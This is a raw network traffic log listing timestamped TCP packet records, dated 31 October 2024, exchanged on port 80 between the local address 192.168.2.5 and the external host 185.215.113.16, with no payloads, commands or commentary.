Oct 31, 2024 02:08:18.828937054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.828974009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.856355906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856379032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856398106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856420994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856435061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.856435061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856467962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.856545925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856616020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856673956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.856678963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856692076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856708050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856719971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.856723070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856738091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856745005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.856805086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.856806040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856818914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856838942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856853962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856854916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.856867075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856884003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.856892109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.856950998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857023954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857052088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857064962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857091904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857146025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857199907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857222080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857234955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857259989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857270956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857283115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857299089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857314110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857321978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857328892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857330084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857355118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857371092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857392073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857405901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857407093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857419968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857434988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857467890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857491970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857506990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857521057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857572079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857604980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857620001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857634068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857649088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857657909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857664108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857678890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857683897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.857692003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.857719898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.907934904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.907951117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.907964945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.907980919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.908011913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.918893099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.918920040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.918934107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.918972969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.918972969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.918998957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919013977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919028997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919042110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919084072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919114113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919127941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919127941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919142008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919157028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919169903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919171095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919193983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919244051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919258118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919280052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919285059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919295073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919311047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919332981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919337034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919353008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919359922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919368982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919383049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919408083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919408083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919423103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919421911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919437885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919461012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919476032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919491053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919504881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919514894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919519901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919534922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919540882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919600010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919614077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919626951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919640064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919666052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919698954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919713974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919728041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919740915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919743061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919755936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919770002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919792891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919847965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919862032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919876099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919891119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919900894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919905901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919919968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919933081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919951916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919960022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.919970989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919985056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.919998884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.920011997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.920020103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.920027018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.920042038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.920049906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.920058012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.920066118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.920072079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.920090914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.945549011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.945564032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.945578098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.945593119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.945630074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.945661068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.945883036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.945905924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.945920944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.945936918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.945971966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.945983887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.946000099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.946014881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.946033955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.973376989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973429918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973443031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973459959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973484039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973496914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973498106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.973510981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973525047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.973545074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.973622084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973706007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973721981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973746061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.973774910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973788977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973810911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973825932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973839998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973859072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.973885059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.973885059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973897934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973912001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973936081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.973958015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973973036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973984957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.973999023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974006891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974009991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974025011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974034071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974040031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974051952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974072933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974085093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974123955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974159002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974170923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974210024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974231005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974242926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974246025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974260092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974282026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974284887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974299908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974324942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974385023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974406004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974420071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974433899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974447966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974461079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974487066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974617958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974630117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974642992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974657059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.974685907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.974695921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.014919043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.014952898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.014976978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.014990091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.014997005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.015032053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.024730921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.024791002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.024804115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.024817944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.024841070 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.024862051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036125898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036139965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036158085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036180973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036189079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036197901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036207914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036216021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036222935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036228895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036237001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036243916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036257029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036272049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036287069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036300898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036336899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036348104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036359072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036362886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036376953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036391020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036407948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036412954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036412954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036442995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036454916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036456108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036470890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036530972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036545992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036560059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036570072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036597013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036608934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036631107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036752939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036767006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036782026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036794901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036794901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036811113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036818981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036834955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036880970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036895990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036912918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.036942005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.036961079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037086964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037144899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037158012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037184000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037199020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037203074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037213087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037220955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037240982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037254095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037332058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037345886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037369013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037370920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037383080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037398100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037437916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037524939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037539959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037554026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037595034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037619114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037641048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037653923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037679911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037693977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037698984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037719965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037734985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037756920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037770033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037781954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037784100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037796021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037798882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037815094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037823915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037848949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.037902117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037916899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037930965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.037950993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.062371969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.062437057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.062448025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.062452078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.062465906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.062488079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:19.062702894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.062797070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.062810898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:19.062834024 CET	80	49712	185.215.113.16	192.168.2.5
